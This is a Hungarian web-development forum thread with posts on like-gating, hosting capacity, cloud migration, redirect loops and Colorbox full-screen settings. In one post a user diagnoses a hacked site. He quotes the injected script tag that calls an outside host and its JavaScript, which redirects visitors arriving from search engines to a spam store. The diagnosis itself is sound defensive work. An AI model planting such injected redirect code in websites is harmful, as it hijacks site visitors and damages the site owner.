Hirdetés
-
Robotkart irányított a majom a kínai Neuralink agyi chipjével
it A mindezt lehetővé tévő Neucybert a Neuralink kínai riválisa, a Beijing Xinzhida Neurotechnology fejlesztette ki.
-
VR játék lesz az Alien: Rogue Incursion
gp Az év végén érkező program PC-re, Meta Quest 3-ra és PlayStation VR2-re érkezik a tervek szerint.
-
Lenovo Essential Wireless Combo
lo Lehet-e egy billentyűzet karcsú, elegáns és különleges? A Lenovo bebizonyította, hogy igen, de bosszantó is :)
Új hozzászólás Aktív témák
-
PumpkinSeed
addikt
válasz Sk8erPeter #13152 üzenetére
Gondolom rendszergazda és a munkáltatója megbízta ezzel. Néha olyanokat tudnak kérni az embertől, hogy meg se lepődnék ha tőlem ilyet kérnének.
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
CactuS
Arcképgyáros
válasz PumpkinSeed #13153 üzenetére
Így van, mert Ő az "Informatikus" és mint tudjuk az mindenhez ért, aminek köze van az áramhoz, legyen az riasztó, nyomdai munkák, programozás, hardver, szoftver... (Bárcsak poén lenne...)
Have you ever noticed that anybody driving slower than you is an idiot, and anyone going faster than you is a maniac? George Carlin
-
CactuS
Arcképgyáros
-
Sk8erPeter
nagyúr
válasz PumpkinSeed #13153 üzenetére
De nem, engem tényleg érdekel a magyarázat, mert nem értem, hogyan lehet megélni az ilyen szánalmas lájkkunyerálásból, hogy adott tartalmat csak úgy tudsz megtekinteni, hogy lájkoltál egy oldalt. Szóval a motiváció érdekelne, hogy valaki miért csinálja, meg a cél, hogy hova jut el ezzel, azonkívül, hogy több lájkolószámot tud felmutatni. Ameddig az emberek mondjuk nem tiltják ki a hírfolyamból, addig tudja promózni a saját dolgait, és így tud közvetve/közvetetten eladni valamit? Vagy van valami reklámbevétel? Mások fizetnek egy kilencedrangú, alig ismert oldalnak, hogy megjelenjenek a hírfolyamukban, vagy mi? Sosem foglalkoztam ilyesmivel szerencsére, nem is érdekelt soha annyira, hogy belemenjek a témába, csak a magyarázat érdekelne, hogy mire jó a lájkvadászat. Ha valaki tudja, tényleg megoszthatná (nem Facebookon ).
Sk8erPeter
-
PumpkinSeed
addikt
válasz Sk8erPeter #13157 üzenetére
Szvsz nagyobb bevételt tuti nem lehet szerezni belőle van pár ismerősöm akiknek 50k+-s FB oldaluk van és semmi jövedelem nincs belőle, vagy talán egy nagyon minimális, mert ugye a hirdetések is kattintás után fizetnek. Szóval stabil jövedelemforrásnak ez nem nevezhető. Talán ha a YT csatornát reklámozza, amin ugyan annyi feliratkozó van és feliratkozó*2 nézettség a videók alatt, ami már egy egyedül élő ember középszerű megélhetőségét biztosítja. De ezenkívül más jövedelem forrás az FB nem nagyon hiszem, hogy lehet, hacsaknem konkrét multinacionális cég fizet azért, hogy Like-kat gyűjtsünk nekik, ami valljuk be egy publikus wifi elérhetőséggel egy jól menő vendéglátói egység közelben nem is egy hülye ötlet napi 500 új egyedi kedveléssel.
Most hirtelen csak ezek jutottak eszembe, de én már olvastam erről, az biztos, hogy Audi meg luxusház nem lesz belőle.
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
Sk8erPeter
nagyúr
válasz PumpkinSeed #13158 üzenetére
"hacsaknem konkrét multinacionális cég fizet azért, hogy Like-kat gyűjtsünk nekik"
Ez a módszer, amit a srác vagy megrendelője akar, ugyanolyan szánalmas lájkvadászat, mint amikor ilyen poén-/kép-/videómegosztó oldalak csak akkor mutatják a tartalmat, miután lájkoltad az oldalt, ez az erőszakos, gusztustalan, az emberek 95%-a számára visszatetsző módja a lájkgyűjtésnek (még akkor is visszatetszést kelthet, ha végül belemegy, hogy lájkolja, mert finoman szólva nem tartozik a tudatos felhasználók közé), ilyen módszerekhez egy komolyan vehető nagyobb multinacionális cég nem hiszem, hogy adná a nevét, egyszerűen azért, mert nem jó marketingszempontból, nem tesz jót az imázsuknak, még ha adott esetben csúszómászó reklámmódszereket is választanak, az akkor sem ilyen gáz. Szóval ezt kilőném, ha viszont Garázs Jóska akar lájkokat gyűjteni, akkor komolyan nem értem, miért éri meg neki, hogyan tud ebből bármilyen módon is profitálni. Amit én írtam az előbb, az az, hogy arra gondoltam, hogy talán max. lájkolás után feldob a hírfolyamban a lájkoló júzereknek ilyen "kattints ide, hogy megtudd, mi az XY titka" jellegű cikkeket, ami valamilyen manipulatív módon aztán eladásokhoz tud vezetni, csak ilyesmit tudok elképzelni, de ez egyáltalán nem olyan egyszerű, szinte külön tudomány, hogy hogyan tudsz elegendő embert megfelelően manipulálni ahhoz, hogy eladd a szarodat, amire nincs is szüksége. Épp ezért tényleg nem értem a lájkvadászat okát, pedig komolyan érdekelne, miért jó ez Vér Istvánnak és pajtásainak.Sk8erPeter
-
PumpkinSeed
addikt
válasz Sk8erPeter #13159 üzenetére
Félre ne érts én se vagyok ennek nagy híve főleg, hogy a legtöbb esetben a like mögötti tartalom csak szennyezi az internetet.
De egy kis ON téma, ha most beruháznék a tárhelypark 10 GB-s csomagjára akkor kb hány felhasználót tudna az kiszolgálni maximálisan? Mi ennek a felső korlátja?
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
martonx
veterán
válasz PumpkinSeed #13160 üzenetére
"akkor kb hány felhasználót tudna az kiszolgálni maximálisan"
Most komolyan, szerinted erre van jó válasz? El fogod hinni, ha bárki azt mondja neked, hogy 500 vagy 2000?
Még az se jelentene semmit, ha XY azt mondaná, hogy neki személyes tapasztalata, hogy 1000. Mert ki tudja, mennyire volt optimalizálva a DB-je, CMS-t futtatott-e (ha igen, melyiket) vagy csak egy Rest API-t, és még hosszasan sorolhatnám.Én kérek elnézést!
-
PumpkinSeed
addikt
válasz martonx #13161 üzenetére
Nem vártam pontos meghatározást. Lényegében csak arra vagyok kíváncsi, hogy 30.000 főt képes-e ellátni. Mivel saját szerverre egyetlen cégnek sincs pénze az első évben így ilyen idióta megoldásokra lenne szükség. Elég nekem egy megközelítő érték is biztos van itt valaki aki valamilyen tárhelyszolgáltatónál van és borzasztó nagy látogatottsága van.
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
biker
nagyúr
válasz PumpkinSeed #13162 üzenetére
30.000Fő / Év? Hónap? Nap? Óra? perc?
szerinted tud valaki válaszolni?Amúgy a legtöbb helyen az apróbetűt titkolják, mint pl gyümölcséknél, ahol kiderült, napi 1000 egyedi látogató, és max 50 egyedi szál futhat egyszerre. ahha, és ha ezen egy WP-t futtatok, ami index.php-je beincludeol 17db másik php filet, akkor? 3 user egyidőben? szuper mi?
Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
martonx
veterán
válasz Phvhun #13164 üzenetére
Igen, én is ezt akartam mondani, hogy az a vállalkozás, aminek gondot okoz évi kemény tizenpárezer Ft rászánása egy weboldalra, nos akkor azt a vállalkozást nem kell erőltetni, be kell zárni.
A felhő meg pont erre való, hogy elkezded kb. ingyen az egész cuccot, aztán ha megérkeznek a userek, akkor bármeddig fel tudod skálázni. Mert lássuk be, ritka az a vállalkozás, ahol napi 30.000 user fog megjelenni az indulás másnapján.
Tipikus hiba, amikor valaki az induló vállalkozását eleve arra kalibrálja, hogy az mekkora siker lesz, és berendel egy rakás szervert, webtárhelyet. Aztán meg két hónap múlva megy az egész a lecsóba, mert a világmegváltó ötlet mégsem jött be.
Én kérek elnézést!
-
martonx
veterán
Sziasztok!
Magánéleti problémák miatt lelépett a szabadúszó frontendesem egy projekt kellős közepén. Nem vagyok emberileg érzéketlen, de a projektnek kész kell lennie, úgyhogy keresem az utódját, erre a konkrét projektre, de ha jól együtt tudnánk dolgozni, akkor több projekthez is.
Aki jelenleg nagyon kellene: Jquery mobile-hoz, Sass-hoz értő frontendes, knockoutjs tudással (vagy legalább bármilyen js mvw) rendelkező szabadúszó, távmunkában dolgozó webfejlesztő.
Ja és igen, esetemben a Windows környezet, Visual Studio használat alap. VS ingyenes, ha még nem használtad volna, természetesen segítek elkezdeni.Minden évben megpróbálkozok ezzel teljesen feleslegesen, de hátha idén valaki mégis jelentkezne a szabadúszó csapatomba
Én kérek elnézést!
-
merkucyo
aktív tag
Sziasztok !
Van egy kissebb weblapom és szeretnék feltölteni egy képet amit más weblapról "halásztam " .
Ami erdekelne az az, hogy kiderülhet-e valamilyen módon, hogy az adott kép nem az enyèm mégis felhasználtam ?(Kis weblap, nem folytatok rajta kereskedelmi tevékenységet)
Köszönöm
Vágjátok ki az erdő leghatalmasabb fáját ezzel a kis heringgel !!
-
PumpkinSeed
addikt
30k user egyidejű kiszolgálása, szolgáltatást biztosít nem egy vállalkozás bemutatkozó oldala lesz. Amúgy meg csak egy számot mondtam.
(#13164) Phvhun
Szóval ha arra számítok, hogy várhatóan 1-3 éven belül megnő a userek száma akkor érdemes VPS-re befizetni?
(#13165) martonx
Nyilván nem azt várom, hogy az oldal megnyitásának pillanatában 30k user azonnal felregisztrál és használja, hanem 1-3 éven belül ilyen számra nőhet a userek száma.
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
martonx
veterán
válasz PumpkinSeed #13169 üzenetére
Akkor, hogy még pontosítsunk egy kicsit: "30k user egyidejű kiszolgálása" - azaz tényleg egy időpillanatban lesz 30.000 usered? Vagy lesz 30K beregisztrált user, akikből naponta pár ezren látogatják az oldalt, és egy adott időpillanatban ténylegesen maximum pár százan lesznek aktívak?
Ez esetben a tárhelypark is simán jó tud lenni. Sőt ott is valamelyik legkisebb csomag simán elég lehet.
Aztán ha elkezd nőni a user szám, szépen emeled a csomagot.
Ha meg kinőtted a tárhelyparkot, akkor átmész felhőbe.Én mondjuk felhő párti vagyok, kapásból ott kezdenék, de ízlések és pofonok, egy honi sima hosting cég is simán megteszi, és még támogattad is az itthoni vállalkozókat
Én kérek elnézést!
-
biker
nagyúr
válasz PumpkinSeed #13169 üzenetére
ne reménykedj. nem lesz 30k usered egy időben.
az indexen sincs ennyi. az iwiwnek volt, fénykorában
Van egy szexvideós portálunk, amin van 35.000 regisztrált felhasználó, azok jönnek napi 9-10.000-en, ez egyidejű 120-180 usert jelent(talán 300 volt a csúcs).Vagyis láthatod, hogy átlagos eloszlással 0,5-1% a userek száma/egyidejű látogatók száma.
30.000 egyidejű user egy normál esettel számolva 6m regisztrált tagot jelentene.
(ja tudom, most írod az új facebookot )Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
biker
nagyúr
kérdés: addott egy blog féle portál. Rajta a feedjit traffic feed. Tök jó, mutatja, mások épp mit olvasnak, ingerkeltő.
Viszont ha fent van, akkor a google analytics közli, hogy ő biza nem mér mert spam van az oldalon, blocked content
Persze, mert konkurrens forgalommérő, gondolom.
Fórumokon csak azt találtam, hogy másnak is ez a baja.Nem tudtok olyan, hasonló dolgot, amit szeret a google?
Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
biker
nagyúr
válasz martonx #13173 üzenetére
nagyon szép agyon scrollozható rajzos honlapok, de konkrétan egyiknek sincs köze a feedjit funkcióihoz.
nem egy "másik GA" kell, hanem egy kitehető live traffic feed, épp mit nyitott meg másik látogató, lássa a látogató.
Mint a tescoban, mikor a gyökér belebámul a kosaradba, "némá, a genya vett 5 gössert, vegyünk mi is asszony"Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
martonx
veterán
-
PumpkinSeed
addikt
válasz martonx #13170 üzenetére
Köszönöm a tájékoztatást. Soha nem is olvastam még ilyen felhős témában.
(#13171) biker
Általában az emberek nagy százaléka mindig az új Facebook-ot kezdi el írni ilyen esetekben. Ez csak egy szolgáltatás lesz, és eleve úgy készül, hogy nem csak magyarországi embereknek szól. Amúgy meg csak kb meg akartam becsülni azt, hogy hova regisztráljak, hogy azt 5-6 évig ne kelljen leváltani. A 30k csak egy szám ami épp eszembe jutott, nyilván nem lesz annyi, de ha mondjuk bejön az embereknek akkor jönnek én meg nem akarok később a költözködéssel szenvedni. Mondjuk nem tudom, hogy az általában mekkora meló.
"Akinek elég bátorsága és türelme van ahhoz, hogy egész életében a sötétségbe nézzen, elsőként fogja meglátni benne a fény felvillanását." - Kán
-
biker
nagyúr
válasz PumpkinSeed #13181 üzenetére
"A 30k csak egy szám ami épp eszembe jutott,"
Értem, azt hittem komolyan tervezel valamit. Eszembe juthat 100 egyidejű user nagy terheléssel, mint a szexvideós portál, ott a 3db 120megás lan 100%-on fut kb 23:30 percen keresztül a 24 órából, eközben a 4xdual xeon proci a 32GB ECC rammal, és a 8db SAS Raid60 tömb kb 30-40%-on van, ha épp nem feltöltenek és kódol.
Ha eszembe jut, hogy 30.000user, mert én leszek az új youtube, akkor ez a 3millás konfig x 100db kell hirtelen.
ha meg 5 user egy időben, akkor vhost tárhelypark.
Egy vhoston sem fognak a keblükre emelni ennyi userrel, tehát ha itt kezdesz, legalább 2x költözni fogsz: vhoszt>>vps, vps>>saját vas
Tervezéskor el kell ám dönteni VALÓS adatok alapján dolgokat
Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
martonx
veterán
válasz PumpkinSeed #13181 üzenetére
A kódbázist költöztetni nem nagy cucc, kivéve ha felhőben kezdted, és sok szolgáltató specifikus dolgot használsz fel pl. Aws vs Azure vs Google Engine vs Digital Ocean. Persze attól még, hogy felhő nem feltétlenül kell felhő specifikus dolgokat használnod, csak ha nem használsz ilyeneket, éppen az egyik nagy előnyüket nem használod ki (pl. saját CDN, felhős adatbázis, felhős blob storage, felhős monitoring stb...)
Azaz ha tényleg komolyan gondolod, akkor eleve nem a Digtal Ocean-nál futnék neki, mert az pont ezeket az egyéb szolgáltatásokat nem tudja, csak egy virtuaális szervert kapsz és kész, hanem Aws vagy Azure vonalon.
Ha viszont elég egyszerű a cucc, akkor szimpla hosztingról felhőbe költözni nem téma, egyedül a db költöztetés tud macerásabb lenni, de azért egy db backup/dump máshol pedig a beüzemelés se szokott vészes lenni, pláne amíg kicsi az adatbázis (hosztingoknál ez úgyis mindig kicsi, nagy nem is lehet).Én kérek elnézést!
-
fordfairlane
veterán
válasz Newboy911 #13184 üzenetére
Meghekkelték az oldalt, code injection:
Ez az első sor a főoldal forrásában:
<script src="http://luover.causeun.com/jtkks.js" type="text/javascript"></script>
Amiben ez van:
var s = document.referrer;
if (s.indexOf("google") > 0 || s.indexOf("bing") > 0 || s.indexOf("yahoo") > 0 || s.indexOf("aol") > 0) {
self.location = 'http://www.theblackkicks.com/';
}, ami egy átirányítás, amennyiben a referer a search engine találati listája.
[ Szerkesztve ]
x gon' give it to ya
-
Newboy911
tag
válasz fordfairlane #13185 üzenetére
Ok, köszönöm szépen.
-
jocomen
aktív tag
W3C dobta a következő hibaüzenetet. Ez mitől van: ?
"Sorry! This document cannot be checked.
Error
I got the following unexpected response when trying to retrieve <http://www.lazarhidraulika.hu/index.html>:
302 Found
More information about why this is happening may be available from warnings reported by the validator's HTTP (and other protocol) client library:
Redirect loop detected (max_redirect = 7)"Odáig eljutottam, h "error 302" -> ideiglenesen át lett helyezve az oldal. De ezt se tudom pontosan mit jelent. A tárhelyszolgáltató kitette az adatokat ideiglenesen egy másik szerverre, Dél-Tibetbe?
[ Szerkesztve ]
-
Ursache
senior tag
válasz jocomen #13188 üzenetére
Átirányítási "körbe" (szimplán túl sok átirányítás) "helyezték" az oldalt. Nekem néha szokott ilyet dobni a PH! is, amikor telefonról akarok nézni egy cikket. Ha asztali verziót kérek le, akkor behozza az oldalt. Ez nem rajtad múlik, domainek ide-oda irányítgatnak.
[ Szerkesztve ]
https://www.youtube.com/watch?v=eIri9YLHpOg
-
Ursache
senior tag
Gondolom nem megfelelő domain beállítások.
https://www.youtube.com/watch?v=eIri9YLHpOg
-
jocomen
aktív tag
Más: Colorbox-al ismerkedek.
Szeretném megoldani, h a képek képmérettől és a kijelző felbontásától függetlenül, mindig teljes képernyőn jelenjenek meg.
Flash player-es lejátszón ez működik, de ugye ideje lecserélni. A Colorbox-os megoldással meg nem.
Addig viszont nem cserélhetem le a flash-t, amíg nem sikerül a másikban is a fullScreen-es lejátszást beállítani. -
Ursache
senior tag
https://forum.jquery.com/topic/colorbox-plugin-make-image-go-full-screen
4 éve nem kapott választ szegény. Tehát valami csúnya hegesztés lesz a vége (felteszem).
szerk.: http://www.jacklmoore.com/colorbox/example2/
Ez esetleg? Vagy ebből ki-, elindulni?
szerk2.: Sk8erPeter: Na, ennek örülök. Csak stackoverflow-on olvastam, hogy ez valakinél nem működött pl.
[ Szerkesztve ]
https://www.youtube.com/watch?v=eIri9YLHpOg
-
Sk8erPeter
nagyúr
válasz jocomen #13192 üzenetére
"mindig teljes képernyőn jelenjenek meg.
Flash player-es lejátszón ez működik"
A mostani Flash-es megoldásod sem jelenik meg alapból full screenen (szóval félreérthető a megfogalmazás), csak ha külön rákattintasz, hogy teljes képernyőn szeretnéd megtekinteni. Egyébként ahhoz a sliderhez sokkal jobban hasonlít a Galleria. (Meg hát ilyenekből persze Dunát lehet rekeszteni, annyi van.)
Ha azt szeretnéd, hogy a Colorbox felugrója jelenjen meg mindig 100%-on, akkor pont ezt kell beállítanod a width és height paramétereknél:A mostani kódod ilyen:
$(".group2").colorbox({rel:'group2', transition:"fade"});Ezt át kell alakítanod ilyenre:
$(".group2").colorbox({
width: "100%",
height: "100%",
rel:'group2',
transition:"fade"
});Szerk.:
(#13194) Ursache
Hát nincs szükség csúnya hegesztésre.[ Szerkesztve ]
Sk8erPeter
-
fordfairlane
veterán
válasz jocomen #13188 üzenetére
Válogatós a webkiszolgáló. Ha a kérésben nincs benne megfelelő User-agent, akkor nem az oldal kódját adja vissza, hanem egy átirányítóoldalt, méghozzá saját magára. Valami apache konfiguráció rosszul van belőve.
Request:
GET / HTTP/1.1
Host: www.lazarhidraulika.hu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit
Response:
HTTP/1.1 200 OK
Date: Thu, 05 Mar 2015 19:05:38 GMT
Server: Apache/2.2.29
Last-Modified: Wed, 04 Mar 2015 09:08:37 GMT
Accept-Ranges: bytes
Content-Length: 5964
Connection: close
Content-Type: text/html
<!DOCTYPE html>
<html lang="hu">
<head>
<meta charset="utf-8"/>
<meta name="google-site-verification" content="gHwknw5mb9zHW1lD0Ch-WxJI1Pr1uEUOJ57K-aUj8T0" />
<title>lazarhidraulika - munkahengerek gy rt sa, jav t sa, alkatr szek forgalmaz sa</title>
...Request:
GET / HTTP/1.1
Host: www.lazarhidraulika.hu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Sajtosmakaroni
Response:
HTTP/1.1 302 Found
Date: Thu, 05 Mar 2015 19:04:03 GMT
Server: Apache/2.2.29
Location: http://www.lazarhidraulika.hu/
Content-Length: 214
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.lazarhidraulika.hu/">here</a>.</p>
</body></html>[ Szerkesztve ]
x gon' give it to ya
-
Sk8erPeter
nagyúr
válasz Ursache #13194 üzenetére
Ja mondjuk rájöttem, hogy ez csak a keretet és vásznat teszi full screenre, az lesz csak 100%-os (tehát pl. az "image X of Y" szöveg végig egy helyen lesz, nem ugrál össze-vissza a kép méretétől függően), szóval ez nem fog megfelelni a srácnak.
Ide felraktam egy gyors példát:
http://jsbin.com/nozoyirejo/1Most erre lehetne JS-es kalkulációkat végezni egy Colorboxos eseménykezelő segítségével, vagy egyéb megoldások után nézni, hogy ez korrigálva legyen, de őszintén szólva nincs kedvem.
A http://galleria.io/themes/fullscreen/ mondjuk eleve full screenben lapozható slidert csinál, nyilván nem az a cél. Na jó, most átadom a terepet inkább másnak, más dolgom van.[ Szerkesztve ]
Sk8erPeter
-
Ursache
senior tag
válasz Sk8erPeter #13197 üzenetére
Akkor végül is hegesztés lesz?
https://www.youtube.com/watch?v=eIri9YLHpOg
-
Sk8erPeter
nagyúr
válasz Ursache #13198 üzenetére
Szerintem tán jobb megoldás a célnak megfelelőbb eszközt választani.
Most csak kíváncsiságból rágugliztam, és 15 másodperc alatt találtam is egy olyat, ami épp az elvártakat tudja:
http://mschmidt.github.io/jquery-fullsizable/
Kattints a képre, full screen lesz.Mellesleg a library minimalizált változata igencsak lightweight:
jquery.fullsizable.2.0.2.min.js
5,06 KBCSS-könyvtár tartalma:
jquery-fullsizable.css
1,26 KB
jquery-fullsizable.png
5,58 KB
jquery-fullsizable-theme.css
1,19 KB[ Szerkesztve ]
Sk8erPeter
-
Ursache
senior tag
válasz Sk8erPeter #13199 üzenetére
Amúgy igen, rahedli slideshow van, ha ez nem tudja, akkor miért nem választ egy másikat?
https://www.youtube.com/watch?v=eIri9YLHpOg